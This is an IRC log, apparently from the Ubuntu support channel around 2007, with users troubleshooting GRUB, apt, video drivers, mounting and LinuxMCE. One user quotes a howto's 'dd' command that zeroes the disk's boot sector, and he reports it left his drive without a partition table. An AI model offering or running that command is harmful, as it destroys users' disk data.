[06:28] <ferronica> soundray: :( okay
[06:28] <laptop> bruenig, right i uninstalled totem and now it doesnt even give me the option
[06:28] <Zamber> http://stuff.zamber.net/linux/imageshack_upload uploads images to IS from command line (details in file)
[06:28] <bruenig> laptop, perhaps if you could get it to hang on to something and then you can edit the preference later after it gets put into the filetype options for your real player
[06:28] <laptop> yup
[06:28] <ferronica> soundray: Any person here who free to help me out??? :(
[06:29] <ferronica>  Any person here who free to help me out??? :(
[06:29] <soundray> ferronica: do not ask me.
[06:29] <laptop> bruenig:  trying, thanks anyway
[06:29] <ravi_master> anyone know how to install linuxmce ontop of existing ubuntu installation?
[06:29] <ferronica> soundray: sorry by mistake
[06:29] <ardchoille> ferronica: What do you need help on?
[06:30] <bruenig> ravi_master, backup files, format and then add files back
[06:30] <ferronica> ardchoille: i wanna mount window in ubutnu 6.06 LTS Dapper Drake
[06:30] <aoirthoir> i have returned!
[06:30] <aoirthoir> all may bow and bask in the glory of my presence
[06:30] <aoirthoir> achoo
[06:30] <aoirthoir> :D
[06:30] <ravi_master> bruenig: ah, man, I really don't have time to backup my files right now
[06:30] <ardchoille> ferronica: You want to mount a Windows volume in Dapper?
[06:30] <ferronica> ardchoille: yes yes
[06:30] <Dumahen> how can i fix this problem ?? pls help me  http://img118.imageshack.us/my.php?image=ekrangrntstc9.png
[06:30] <ravi_master> bruenig: plus all the software that I have on this box!
[06:30] <rbil> ep2011: checkout ebay.com for DWL-G810  ... a few for sale there today
[06:31] <ardchoille> ferronica: Sorry, I do't know how to mount a Windows volume. I haven't touched Windows since 2001.
[06:31] <MrMary> i wana buy an e machines comp and put ubuntu on there, will it work ok?
[06:31] <bruenig> ravi_master, well that is the only option, I mean if you are going to put on a new distro, you are going to have to format
[06:31] <kingcobra> Ferro
[06:31] <aoirthoir> ferronica: is the volume on the same computer dapper is running?
[06:31] <ravi_master> bruenig: LinuxMCE is built ontop of ubuntu, we really shouldn't have to do this.
[06:32] <kingcobra> ferronica, search ubuntu docs
[06:32] <bruenig> ravi_master, ubuntu is built on top of debian
[06:32] <ravi_master> bruenig: your point being?
[06:32] <ravi_master> bruenig: if I wanted to update to ubuntu from debian, I could
[06:33] <ravi_master> bruenig: now, if I want update from ubuntu to LinuxMCE, can I?
[06:33] <bruenig> ravi_master, painfully maybe
[06:33] <bruenig> ravi_master, does linuxmce have its own repos
[06:33] <soundray> MrMary: most standard hardware is supported well, especially in desktops. Laptops are sometimes more tricky.
[06:33] <MajorPayne> Debian to Ubuntu does seem tricky.
[06:33] <bruenig> if it has its own repos you could try although unadvised change your sources.list and dist-upgrade
[06:33] <ravi_master> bruenig: ah, crap, they have a Ubuntu 6.10 installer, nvm
[06:33] <davidfetter> hello
[06:34] <aoirthoir> ferronica: is the windows volume on the same computer as dapper or are you trying to mount over a network connection?
[06:34] <ravi_master> bruenig: http://wiki.linuxmce.com/index.php/Download_Instructions
[06:34] <soundray> MrMary: have a look at https://wiki.ubuntu.com/HardwareSupport
[06:34] <davidfetter> i just burned a 7.0.4beta CD, and i'd like to try it out on my macbookpro
[06:34] <davidfetter> how do i get the aforementioned machine to boot from CD?
[06:34] <bruenig> ravi_master, ultimately it is just a difference in files, so if they can figure out what that difference, creating a deb to automate it would be easy, but for you to try to do it on your own and not being a dev would be hard
[06:34] <soundray> MajorPayne: upgrading?
[06:34] <ravi_master> bruenig: it seems they have an installer for ubuntu 6.10 already.
[06:35] <jenda> Could someone recommend a good CLI IM client? I'd like it to support ICQ and Jabber, preferably MSN, too.
[06:35] <ravi_master> bruenig: I can just use their installer from the iso
[06:35] <MajorPayne> soundray: I was just commenting on something ravi_master said.
[06:35] <jenda> CenterICQ doesn't really work for me :(
[06:35] <bruenig> ravi_master, I like how that button gives me "file does not exist"
[06:35] <genpfault> can tar be used to back up the contents of your root filesystem and successfully plop it down on another partition?
[06:35] <MrMary> jenda: gaim?
[06:35] <kingcobra> jenda gaim
[06:35] <aoirthoir> http://ubuntuguide.org/wiki/Ubuntu_dapper#Windows
[06:35] <ravi_master> bruenig: I'll figure it out, if it exists, I shall find it
[06:35] <davidfetter> anybody?
[06:35] <jenda> MrMary, kingcobra: GAIM isn't a CLI client.
[06:35] <bruenig> ravi_master, I am sure it is just a deb
[06:35] <MrMary> my bad
[06:36] <ravi_master> bruenig: I'm sure it's not
[06:36] <aoirthoir> davidfetter: dont know sorry
[06:36] <bruenig> ravi_master, it wouldn't be hard to do if you knew what the difference was
[06:36] <jenda> thanks anyway, though
[06:36] <ravi_master> bruenig: ever see what linuxmce does?
[06:36] <kingcobra> ok
[06:36] <soundray> genpfault: yes.
[06:36] <davidfetter> aoirthoir, any ideas where i might look?
[06:36] <aoirthoir> davidfetter: you can test it in a virtual machine..dont know how that works on macbook
[06:36] <bruenig> ravi_master, Optionally, before running the installer below, you can download LinuxMCE as an .iso image to burn to cd here so the installer won't need to fetch the software from the internet.
[06:36] <bruenig> optionally
[06:36] <mossaab> hi!!
[06:36] <cilaes> best way to upgrade from hoary > breezy > dapper?
[06:36] <bruenig> optionally you can get the iso
[06:36] <bruenig> therefore it isn't an iso
[06:36] <ravi_master> bruenig: total pvr solution, not just mythtv, which is just a package
[06:36] <aoirthoir> david..kinda like the thing you use to run windows on mac
[06:36] <davidfetter> aoirthoir, i was thinking it might be possible to boot off an iso...
[06:36] <bruenig> ravi_master, it doesn't matter
[06:36] <genpfault> soundray : any special options to make sure it backs up /dev and permissions and such?
[06:36] <davidfetter> aoirthoir, ok, i'll start looking. thanks :)
[06:37] <aoirthoir> davidfetter: if your macbook pro allows booting directly from CD....
[06:37] <bruenig> ravi_master, I could create it if I knew all the files that was needed
[06:37] <YBH_1> bored with linux? try this http://www.ananova.com/news/story/sm_2254764.html
[06:37] <bruenig> were*
[06:37] <ravi_master> bruenig: I think there is a difference between installing a crud-load of packages on an existing system versus a few packages, don't you?\
[06:37] <aoirthoir> davidfetter: you could put it on CD and tell the mac to boot from cd ..see if it recognizes it..I assume you got the iso for macs?
[06:37] <kingcobra> soundray i cant add a user, window does not load
[06:37] <soundray> genpfault: no, it does that all automatically. Use -l to make it ignore mounted partitions.
[06:37] <davidfetter> aoirthoir, that's what i'm looking for the way to do.
[06:37] <genpfault> soundray : alrighty, thanks!
[06:37] <davidfetter> aoirthoir, it's an intel mac, so i got the intel cd
[06:37] <soundray> kingcobra: you can log in on the text console (Ctrl-Alt-F1)
[06:37] <bruenig> ravi_master, there is a difference, but I could put all of ubuntu in one deb if I wanted to
[06:37] <jenda> YBH_1: You aren't spamming, are you?
[06:37] <cchildress> hi, everyone! i'm a gentoo user, but i'm thinking about switching to ubuntu to get more maintenance-free distro, can any former gentoo-ers give me their $0.02?
[06:37] <aoirthoir> davidfetter: dont know how it works in the mac world..never used one..but in a pc it is in your CMOS..
[06:37] <bronze_0_1> jenda: looks like
[06:38] <soundray> kingcobra: or boot in recovery mode (select from the grub boot menu)
[06:38] <davidfetter> k
[06:38] <bruenig> ravi_master, a deb is just a bunch of files and scripts tarred up, essentially
[06:38] <genpfault> soundray : one more question, can I do it on a running system or do I need to use a livecd?
[06:38] <davidfetter> aoirthoir, thanks for the help :P
[06:38] <davidfetter> er, :)
[06:39] <train> how do I get a higher resolution than 1280x1024
[06:39] <aoirthoir> davidfetter: not much
[06:39] <davidfetter> <-- needs coffee
[06:39] <train> and why is that the default
[06:39] <kurot> hi. I'm getting this error when I'm trying to install something E: Malformed line 5 in source list /etc/apt/sources.list (dist parse). can someone tell me what is the problem ?
[06:39] <ravi_master> bruenig: then in your  definition, there is no big difference between  installing ubuntu vs. say another deb managed system -- a lot of people would disagree with this statement
[06:39] <cchildress> train: it depends on your monitor and video chipset
[06:39] <cchildress> train: what size/type of monitor do you have?
[06:39] <jp> j
[06:39] <jp> j
[06:39] <jp> j
[06:39] <jp> j
[06:39] <jp> j
[06:39] <jp> j
[06:39] <jp> j
[06:39] <jp> j
[06:39] <jp> j
[06:39] <cchildress> train: and what kind of video card/chip?
[06:39] <MrMary> trooll
[06:40] <train> nvidia
[06:40] <train> with exceleration enabled
[06:40] <train> I'm running beryl
[06:40] <cchildress> train: what model of nvidia, tho?
[06:40] <soundray> genpfault: I wouldn't copy the root partition of a running system. Use a live CD for sanity.
[06:40] <aoirthoir> i like beryl
[06:40] <bruenig> ravi_master, I think there is some disconnect here. What I am saying is that if you can figure out what exactly is the difference on a file level between ubuntu and linuxmce, it would be very easy to create a deb that was able to transition you from ubuntu to linuxmce
[06:40] <cchildress> train: and what brand/size monitor?
[06:40] <train> geforce 5200
[06:40] <aoirthoir> i am heading off to take a nap later yall
[06:40] <train> 19inch viewsonic A90
[06:40] <soundray> genpfault: I don't think you'd have big problems, I may just be paranoid.
[06:40] <cchildress> train: is that flatpanel or crt?
[06:41] <jenda> So... nobody? Any tips? CLI ICQ/JAbber client?
[06:41] <bruenig> jenda, gaim-text
[06:41] <jenda> bruenig: really? :)
[06:41] <genpfault> soundray : alrighty, can do
[06:41] <jenda> bruenig: gotta look that up...
[06:41] <erUSUL> jenda: biltbee + irc client
[06:41] <train> crt
[06:41] <jenda> erUSUL: I will resort to that if I don't find anything.
[06:41] <thapa> jenda: centericq?
[06:41] <atoponce> jenda: centericq
[06:41] <bruenig> jenda, not in the repos though, http://gaim.sourceforge.net/sean/blog/gaim-text
[06:42] <ravi_master> bruenig: I agree with that but you were making way too big of a generality when you said you could package ubuntu into a deb file
[06:42] <rbil> train: how much memory on your graphics card?
[06:42] <atoponce> although, i have a question about centericq in dapper, if anyone is up to it...
[06:42] <jenda> CenterICQ doesn't work for me :(
[06:42] <train> I think its like 128 or 256 can't remember
[06:42] <atoponce> jenda: on dapper?
[06:42] <cchildress> train: with a crt of 19", 1280x1024 is the highest resolution that will look good. more than likely, ubuntu has auto-detected your monitor's refresh rate ranges, and automatically set the maximum resolution for your monitor
[06:42] <blanky> not being allowed to type foreign characters is really starting to piss me off guys
[06:42] <atoponce> jenda: 503 error?
[06:42] <jenda> atoponce: on gentoo, actually ;) but no - the problem is that it won't let me add AIM contacts to my ICQ
[06:42] <cchildress> train: if you think that it is incorrect, check the manufacturer for refresh rates, and enter them manually into the xorg config file
[06:42] <twdsje> Is there a command line utility or something that I can use to see my system temperature?
[06:42] <soundray> !language | blanky
[06:42] <ubotu> blanky: Please watch your language and keep this channel family friendly.
[06:42] <jenda> atoponce: it's in a remote shell
[06:42] <bruenig> ravi_master, well I could package it for my system. I mean when it installs it does a lot of configuring to xorg and stuff, but I could make a big deb package of everything on my system no problem
[06:42] <blanky> soundray: you're always the one to complain about that huh haha
[06:43] <ravi_master> you can't say piss me off on this channel?
[06:43] <atoponce> jenda: yeah. same here.
[06:43] <ompaul> ravi_master, correct
[06:43] <ravi_master> that's pg-13
[06:43] <digitize> !feisty
[06:43] <ubotu> The next version of Ubuntu (7.04; codenamed "Feisty Fawn") should be released in April 2007.

[06:43] <soundray> blanky: are you coming here for help? If so, please check your attitude.
[06:43] <atoponce> so, does anyone know why i get a 503 error when connecting to a jabber server in centericq on dapper?
[06:43] <atoponce> is there a bug with the program on dapper
[06:43] <cchildress> train: if it's something that you're not familiar with i'd be happy to help you with it
[06:43] <atoponce> ?
[06:43] <blanky> soundray: nope I was't asking for help :)
[06:43] <atoponce> i can't connect to save my life
[06:43] <bruenig> ravi_master, and seeing as the transition to linuxmce won't require those configurations, as they have already happened if you have installed ubuntu, it wouldn't be too hard
[06:43] <kurot> hi. I'm getting this error when I'm trying to install something E: Malformed line 5 in source list /etc/apt/sources.list (dist parse). can someone tell me what is the problem ?
[06:43] <iulian_> is it possible to run lynx in background?
[06:43] <znejk> hello i have sound problems in gnome... the sound gets "disted" anyone have a similar prob?
[06:43] <soundray> blanky: then you're offtopic. Sound off in #ubuntu-offtopic.
[06:43] <train> I"m looking up my refresh rates
[06:44] <cchildress> iulian_: yes, check out screen
[06:44] <rbil> train: have u tried running: /usr/bin/nvidia-settings
[06:44] <ompaul> blanky, then please help or say nothing it is not a chat channel it is a support channel only
[06:44] <bruenig> ravi_master, the hardest part would be finding every minute thing that needed to be changed, but the devs seeing as they were the one who modified it should be able to do it with easy
[06:44] <bruenig> ease*
[06:44] <train> the max res is 1600x1200 but probably with a bad refresh rate
[06:44] <thapa> kurot: could you give us line 5 of /etc/apt/sources.list?
[06:44] <twdsje> Is there a command line utility or command that I can use to see my system temperature?
[06:44] <ravi_master> bruenig: that's great but how are you going to install that deb on a system that's not debian based, it's not the end all and be all.
[06:44] <cchildress> iulian_: or, type ctrl + z when running lynx
[06:44] <erUSUL> ubotu tell znejk about soundray | znejk see priv msg from ubotu
[06:44] <erUSUL> ubotu tell znejk about sound | znejk see priv msg from ubotu
[06:44] <cchildress> train: as i said at above 1280x1024, your crt monitor is likely not going to give you a very good picture when it comes to fine details
[06:44] <bruenig> ravi_master, what are you talking about, if you have ubuntu installed, you have debian based, so linux mce deb package for a transition would be really easy
[06:45] <bruenig> this is all I have said, that it is probably a deb package
[06:45] <ravi_master> bruenig: and if you now say oh, of course you need a debian base you could easily have huge conflicts between the huge package you generated and the existing system
[06:45] <erUSUL> twdsje: You have to configure sensorsd daemon and then use the sensors comand in a teminal
[06:45] <erUSUL> !sensors > twdsje
[06:45] <kingcobra> soundray, i can login there but didnt kno how to get back 2 the gui
[06:45] <twdsje> aha
[06:45] <atoponce> jabber 503 error on dapper with centericq. anyone?
[06:45] <bruenig> ravi_master, ok well when you find the linuxmce deb package, as that is almost certainly what it is, link it to me, I would like to dissect it
[06:45] <twdsje> would sensors already be installed on my ubuntu server install?
[06:46] <soundray> blanky: my concern is that some people want to use this channel in some professional capacity. Bad language on a channel can be a major obstacle.
[06:46] <soundray> kingcobra: Ctrl-Alt-F7
[06:46] <erUSUL> twdsje: please read the private msg ubotu send you
[06:46] <nhy> Is it possible to upgrade from herd 5 to the feisty beta?
[06:46] <kingcobra> soundray, the gnome settings daemon wont load causin system to stall for ages every bootup just after logging in
[06:46] <twdsje> oh I did not see that.
[06:46] <SecrethX> bruenig, I think i managed to make it work.. unless, well, there is no AUDIO_TS folder in the .iso, but im certain there is audio on the file
[06:46] <blanky> soundray: It's okay, you can be quiet now because I shut up a while ago, I don't consider 'piss' a bad word, but I won't say it anymore in here if it offends you
[06:46] <kingcobra> soundray, wil this put me out of gui again
[06:46] <bruenig> SecrethX, it doesn't matter, the audio is in the video_ts folder
[06:46] <bruenig> SecrethX, in the vobs
[06:47] <erUSUL> nhy: the normal upgrade process should have make it for you
[06:47] <SecrethX> bruenig, ok :)
[06:47] <soundray> blanky: it doesn't offend me. It goes against the purpose of the channel.
[06:47] <ravi_master> bruenig: I understand exactly what you are saying but that really doesn't apply to larger systems such as "ubuntu" etc, only to small suites of applications "openoffice" etc, it's not healthy for your system if you start installing a whole "ubuntu.deb" file on it because your existing system would already have some pre-configured setup which would need to get forced out.
[06:47] <nhy> ok
[06:48] <LaNCeloT_RW> anyone knows how to install a xchat plugin to show my current song?
[06:48] <bruenig> ravi_master, for linuxmce it would be very easy because all the configuring of xorg and such would have already been done by the ubuntu installer, and since you have ubuntu installed... all you have to do is add all the applications and differences. very simple
[06:48] <kurot> thapa, this is my sources.list --> http://paste.ubuntu-nl.org/11870/
[06:48] <ravi_master> bruenig: actually, linuxmce modified some of the low-level driver based stuff too
[06:48] <bruenig> ravi_master, for instance, I assume you have gnome, if I wanted to create a package that changed ubuntu to xubuntu, (totally changed it) removed gnome and everything, not just added it alongside it, I could do that, because I would just keep the xorg and other configurations and just add all the xubuntu files
[06:48] <kingcobra> soundray, wil this put me out of gui again
[06:49] <bruenig> ravi_master, that can be done with a script
[06:49] <jenda> bruenig: no matter what I do, I can't find the source code for gaim-text for download...
[06:49] <bruenig> jenda, I had it going for a while, it was a cool thing to play with, let me see if I can find it
[06:49] <thapa> kurot: try to put a hash sign # in front of this line
[06:49] <chasm> hey I'm looking for a repository for ubuntu that will let me install banshee >0.11.0 without all of these libdbus uninstallable errors I'm running edgy 6.10
[06:49] <ravi_master> bruenig: I mean, linux mce will change my system from ubuntu being able to do nothing with my living room to having the capability to turn down the lights when I start watching a movie, that's a huge change.
[06:49] <soundray> kingcobra: Alt-F7 to switch to the console where X runs. Ctrl-Alt-F1 (F2/F3/F4...) to switch to the text consoles.
[06:49] <chasm> anybody know of one
[06:50] <bruenig> ravi_master, it is all files, everything is files
[06:50] <kurot> thapa, in front of what line?
[06:50] <kingcobra> soundray, so which gets me out of it
[06:50] <coldfish> i have a problem with beagle search tool. It is reindexing the same content again and again in each startup. version 0.2.16
[06:50] <ravi_master> bruenig: when files==device drivers, you have to be extra careful.
[06:50] <thapa> in front of http://paste.ubuntu-nl.org/11870/
[06:50] <GekiBlue> What's the program to get to edit/add entries to the Applications menu? :O
[06:50] <ravi_master> bruenig: all files are not the same
[06:51] <bruenig> jenda, oh it is installed by default on every gaim after 2,0 beta 4
[06:51] <soundray> kingcobra: out of what? I suggest you just try it out...
[06:51] <rbil> GekiBlue: right click on Applications
[06:51] <rbil> edit menus
[06:51] <kingcobra> soundray, ok i might hav 2 restart again tho
[06:51] <kurot> thapa, ok, let me try
[06:51] <jenda> bruenig: eek... and is there a way to install just that?
[06:51] <bruenig> ravi_master, scripts though. Realize that the devs started from an ubuntu base and added and modified it. All they have to do is keep track of those modifications. It wouldn't be extremely hard
[06:51] <jenda> bruenig: it's for a remote shell account
[06:51] <bruenig> jenda, I don't think so
[06:52] <ubuntu_> heh people - i have a problem, and I'm entering panic mode :/
[06:52] <GekiBlue> rbil: Oh XD Thanks... Last time I used Ubuntu you needed to get a little program to do it :O
[06:52] <rbil> GekiBlue: changed with Edgy
[06:52] <soundray> ubuntu_: that's good, panic mode fixes practically everything ;)
[06:52] <ravi_master> bruenig: it does become different when the "script" or installer is _significantly_ changing the system at a kernel level though.
[06:53] <GekiBlue> rbil: Hehe... My experience was with Breezy, I'm so out of  touch XD
[06:53] <train> does anyone know about the script that automatically mounts your ntfs HD's and places an icon for them on your desktop?
[06:53] <bruenig> ravi_master, I don't think so, we'll see though. We know it isn't an iso, so I wonder what it is, a script perhaps?
[06:53] <soundray> !ntfs | train
[06:53] <ubotu> train: To view your Windows/Mac partitions see https://help.ubuntu.com/community/AutomaticallyMountPartitions . For write access see !ntfs-3g or !fuse
[06:53] <ravi_master> bruenig: it is an iso with a bunch of crud on it
[06:53] <bruenig> ravi_master, no read that page you sent me, it is very clearly not an iso
[06:54] <thapa> kurot: saved the file?
[06:54] <kingcobra> soundray, pressing ctrl alt f7 does nothing for me
[06:54] <ravi_master> bruenig: you can download an iso with all the required files
[06:54] <kingcobra> soundray, nor alt f7
[06:54] <bruenig> it says you can optionally get the isos so that you can use the packages on that iso
[06:54] <bruenig> meaning of course not mandatory
[06:54] <bruenig> some basic logic here
[06:54] <bruenig> Optionally, before running the installer below, you can download LinuxMCE as an .iso image to burn to cd here so the installer won't need to fetch the software from the internet.
[06:54] <jhernandez> hola. Somebody knows a GTk# library for 2D Charting?
[06:54] <bruenig> so the installer won't fetch software from the internet
[06:55] <bruenig> hmmmm
[06:55] <ravi_master> bruenig: ok, I really have been arguing with you not about the difference between Ubuntu and LinuxMCE but the difference between systems like debian and Ubuntu, you see what I mean?
[06:55] <bruenig> so deb or script is the only two options
[06:55] <soundray> kingcobra: try Ctrl-Alt-F8, Ctrl-Alt-F9 as well. If none of these work, X is not running any more. Do a 'sudo invoke-rc.d gdm restart'
[06:55] <bruenig> ravi_master, I have been arguing about the viability of a deb to install a modified version of ubuntu on to of ubuntu
[06:55] <ravi_master> bruenig: I thought youv'e been arguing that all debian systems are essentially the same.
[06:55] <ravi_master> bruenig: screw this...
[06:55] <ravi_master> bruenig: :-)
[06:55] <bruenig> ravi_master, I argued that migrating from one to another can be done with a debian package
[06:56] <cornucopia> hi bro's
[06:56] <ravi_master> bruenig: I'll wait for you to show me a deb file that can make me upgrade from debian to ubuntu
[06:56] <bruenig> ravi_master, it can be done
[06:56] <ravi_master> cornucopia, hey
[06:56] <shoumik> Hi, I'm doing a project and i need to know, is there a way i can make brochures through some open office app
[06:56] <kurot> thapa, doesn't work... maybe i don't know where to put #
[06:56] <bruenig> ravi_master, it would take a lot of work, but it could be done
[06:56] <ubuntu_> I'm booting from a live CD - have been trying to get rid of an error-18 in grub (cant strat up at all). have been at it all day - the latest thread I followed is http://www.debianhelp.org/node/1479 . problem is I now have no MBR on my hdd and can't get parted to duplicate the partition table. primary partition is start 32.3kB end 81.3GB - but parted keeps putting end as 82.0GB - that's going to be a problem, isn't it (or a
[06:56] <ubuntu_> m I just being paranoid?)
[06:57] <kingcobra> soundray, ctrl alt f8 and f9 giv black screen with flashing command cursor in top left corner
[06:57] <bruenig> ravi_master, but it would be a lot easier if I were developing a fork to keep track of my changes, and dump them into a deb
[06:57] <bruenig> which is what I bet these guys did
[06:57] <ompaul> ubuntu_, how much data have you got on that box?
[06:57] <thapa> kurot: the line has to look like that: # http://paste.ubuntu-nl.org/11870/
[06:57] <soundray> kingcobra: do a 'sudo invoke-rc.d gdm restart'
[06:57] <bruenig> or again it could be a script, but that isn't really anything different, since debs can have scripts in them
[06:57] <ubuntu_> fdisk - well I cant work out how to put start/end into a new partition with fdisk (scared of getting the wrong amount of 0's...
[06:58] <ferronica> ardchoille: thats strange? why??
[06:58] <kingcobra> ok bak in a wile after reboot is it
[06:58] <ferronica> ardchoille: why not window?]
[06:58] <SecrethX> bruenig, no sound
[06:58] <ubuntu_> ompaul: on the drive - about 80Gig
[06:58] <ravi_master> bruenig: I understand your logic, and that is probably what mce did, but I am saying there can be systems that are complexly modfied enough to warrant a different install
[06:58] <kurot> thapa, the line 5 ?
[06:58] <thapa> kurot: then you will have to do a sudo apt-get update on the command line
[06:58] <ompaul> bruenig, ravi_master its not really a ubuntu support issue is it? ;-) can you take it to pm :)
[06:58] <ferronica> ardchoille: any particular point
[06:58] <ardchoille> ferronica: That needs to go to #ubuntu-offtopic.
[06:58] <thapa> kurot: yepp
[06:58] <shoumik> Hi, I'm doing a project and i need to know, is there a way i can make brochures through some open office app. If there is is through open office writer? Thank You.
[06:58] <bruenig> it appears to be over
[06:58] <ravi_master> ompaul: yeah, I'm bored
[06:59] <shd0w> hey does anyone know how to allow python extensions on a apache server i am using ubuntu server 6.10 for example index.py
[06:59] <kurot> thapa, and if i'm not wrong the line 5 is: # See http://help.ubuntu.com/community/UpgradeNotes for how to upgrade to
[06:59] <soundray> shoumik: OOo Draw is what you want for a brochure.
[06:59] <ompaul> ubuntu_, got access to that much room locally?
[06:59] <kurot> thapa, shall i write another # in the front of # See * ?
[06:59] <ompaul> ubuntu_, on your local network?
[06:59] <thapa> kurot: no, could you instead upload your /etc/apt/sources.list to a pastebin?
[07:00] <ubuntu_> ompaul: not sure - dont think so withou shutting down
[07:00] <rbil> train: you can write a .desktop file in your Desktop directory that has a URL pointing to your mount point
[07:00] <ubuntu_> may have on another hdd, ompaul
[07:00] <shd0w> anyone know how to allow .py extensions on a apache server??
[07:00] <SecrethX> bruenig, I dont have any sound on the dvd, I just put it in my dvd player..

[07:01] <Sambrista> hi! i'm on ubuntu 7.04 (beta). Anyone knows how to make my computer connect to internet by a wi-fi connection at boot time? Now with ndiswrapper, it won't connect until anyone logs in and tell network-manager to connect to my ap
[07:01] <ompaul> ubuntu_, if you do then install on that copy your data  .. then fix the first drive
[07:01] <thapa> kurot: okay, thank you
[07:01] <thapa> looks okay, imho
[07:01] <ubuntu_> ompaul: can I still mount the drive without an MBR?
[07:01] <ubuntu_> ompaul: if i shutdown?
[07:01] <thapa> can you run sudo apt-get update?
[07:02] <ompaul> ubuntu_, with the cdrom you can mount it
[07:02] <ubuntu_> ok - that's not so bad--- thanks
[07:02] <ompaul> ubuntu_, mount - format pretty myuch anything you want
[07:03] <bruenig> SecrethX, well you should, I don't know. I know it isn't the audio_ts though because my audio_ts is always empty
[07:03] <SecrethX> bruenig, :o np
[07:03] <ubuntu_> ompaul: I've been trying to sort this problem out the whole day.... you know there is no partition table on the drive
[07:04] <ompaul> ubuntu_, how did you manage that?
[07:04] <ubuntu_> ompaul: but you're saying I can still mount it..? (sorry - am scared)
[07:04] <thapa> kurot: any problems?
[07:04] <ompaul> ubuntu_, ahh you can't
[07:04] <ompaul> ubuntu_, I did not know that okay here is what you do - if you have the other drive and it has some reasonable space on it
[07:05] <SecrethX> bruenig, you know how to convert wmv to mpeg? im gonna retry it
[07:05] <kurot> thapa, i found it, thanks anyway
[07:05] <ubuntu_> ompaul: the howto said to dd if=/dev/zero of=/dev/hda bs=512  count=1
[07:05] <aeroplane> What irc clients do you all reccomend? I am using the one available via terminal
[07:05] <thapa> kurot: yes, I found it too, just this moment...
[07:06] <ubuntu_> ompaul: i dont know unless i can mount it/install it
[07:06] <train> can you use itunes well through wine?
[07:06] <gerscht> aeroplane: the built in gaim
[07:06] <ompaul> ubuntu_, okay lets go back to basics - disk with ubuntu on it has no partition table on it?
[07:07] <greggwith2gs> this is probably a really simple problem, but I can't seem to solve it.....I recently formatted a drive to ext3, and it's mounted, and I *thought* i mounted it correctly, but I still don't have read/write access to it, because only root can do that, apparently, but I don't know how to change permissions so that I can use it without having to log in as root
[07:07] <atoponce> aeroplane: are you fairly familiar with irc?
[07:07] <ubuntu_> yes (and loads of data)
[07:07] <aeroplane> no.
[07:07] <atoponce> aeroplane: then, xchat i would recommend
[07:07] <aeroplane> i dont know how to do those private messages, so no.
[07:07] <robdeman_> folsk how do I install the sqlite2 and sqlite3 commandline tools?
[07:07] <kingcobra> soundray, went to same black screen after that command
[07:07] <aeroplane> okay, thanks. i have xchat installed.
[07:07] <kingcobra> had 2 restart aswel
[07:08] <atoponce> aeroplane: np
[07:08] <ubuntu_> ompaul: there is another drive in the machine - it has space - and i dont mind losing the install if I can keep the data
[07:08] <soundray> kingcobra: what happened after the reboot?
[07:08] <Dave_O`Tool> www.agservers.com/linux_error.JPG   Can someone look at this error and tell me what it means?
[07:08] <kingcobra> soundray, same stalling and wait just after logging in
[07:09] <soundray> kingcobra: Look at $HOME/.xsession-errors to see if any messages are logged
[07:09] <aeroplan1> does anyone know why synaptic defaults to a more primitive looking gtk theme?
[07:09] <kingcobra> soundray, it used to load very fast after login
[07:09] <ubuntu_> but the other drive is win dual boot & has an error-18 on grub that I cant fix (I know - thats irrelevant at the moment - but thats what got me here (well, that and a little confusion over drives))
[07:09] <ompaul> ubuntu_, then install on that - make it master and what not, on it install something called "the coroners toolkit" and work with it - it may help it is all you really can try
[07:09] <ubuntu_> ompaul: ^^
[07:09] <ompaul> ubuntu_, you may be gone too far for that but ...
[07:10] <joincamp> kingcobra: mine does that too, i suspect it takes from the root settings
[07:10] <kingcobra> joincamp, anything u can do 2 fix
[07:11] <joincamp> kingcobra: i havent really thought about it, maybe copy your .theme or whatever settings to /root?
[07:11] <joincamp> kingcobra: im honestly just guessing though
[07:11] <aeroplane> does anyone know why synaptic defaults to a more primitive redmondesque gtk theme rather than the one I have set?
[07:11] <kingcobra> ok thanx

[07:16] <kingcobra> why are the ops not marked as ops in irc protocol
[07:17] <kingcobra> 0 ops in here apparently
[07:17] <atoponce> kingcobra: why should they be marked?
[07:17] <soundray> kingcobra: it's possible that nautilus hangs for a while because of those images in the Aerosmith directory.
[07:17] <nalioth> kingcobra: because this is freenode, and there is no need for them to be seen until needed
[07:17] <Amaranth> we're around
[07:17] <Amaranth> just no need to stay as an op when you're not using it

[07:18] <Bupsss> hi all
[07:18] <Bupsss> can someone help me?
[07:19] <atoponce> Bupsss: depends. ask your question
[07:19] <Bupsss> :)
[07:19] <IndyGunFreak> !someone
[07:19] <ubotu> A large amount of the first questions asked in this channel start with "Does anyone/anybody..."  Why not ask your next question (the real one) and find out?
[07:19] <Bupsss> i installed a possibly a wrong driver for my videocard
[07:19] <bullgard4> Gnome Menue Locations > Network > (Network -- File-Browser) of my first computer 'MD97600' in the LAN lists 3 entries: 'Windows Network', 'Amilo7600' and 'MD97600'. The same command put into the 2nd computer lists only 'Windows Network'. Why?
[07:19] <Bupsss> now... when i insert username and password
[07:20] <ferronica> when i try to open /etc/apt/sources.list error --> access denied :(
[07:20] <Bupsss> it start loading, then go back to the login page
[07:20] <gerscht> how can I hide IRC join/leave messages?
[07:20] <Bupsss> i installed the right driver from nvidia, but then i had an api mismatch
[07:20] <bamzin> hi! does feisty beta come come with the latest alsa packs?
[07:20] <Bupsss> so i went back in xorg.conf setting nv in the driver
[07:20] <Bupsss> and now i have the login page, but only that
[07:20] <Bupsss> what's the problem?
[07:20] <soundray> bamzin: #ubuntu+1 for feisty questions please
[07:21] <kingcobra> soundray, got errors doing moving command but i just deleted them now, shud i reboot
[07:21] <gerscht> bemzin: alsamixer : v1.0.13
[07:21] <atoponce> Bupsss: check the permissions of the ~/.ICEauthority file. it should be:
[07:21] <bamzin> not a problem, just a release question. but okay, ill join it :)
[07:21] <soundray> kingcobra: no, log out and log in again to see if the problem went away
[07:21] <atoponce> -rw------- 1 aaron aaron 2061 2006-07-30 09:27 /home/aaron/.ICEauthority
[07:22] <kingcobra> soundray, ok thanx
[07:22] <Bupsss> atoponce why should i check permissions?
[07:22] <Bupsss> after i installed the wrong driver it started not working
[07:22] <atoponce> Bupsss: because if you're only getting the login screen, that could be the issue
[07:23] <atoponce> Bupsss: the permissions could be wrong
[07:23] <Bupsss> even root?
[07:23] <atoponce> Bupsss: ?
[07:23] <iulian_> exit
[07:23] <Bupsss> if i access as terminal, it works
[07:23] <atoponce> ah. i see
[07:23] <franky723> question - vim isn't working correctly for me. the arrow keys don't work, and when in insert mode it doesn't display the INSERT sign at the bottom
[07:23] <os1ris> has anyone set up wirless on ubuntu server... the intall found it ,.. just need to config it now.. can anyonme help

[07:24] <Bupsss> it starts... but as soon as it starts, it goes back to login screen
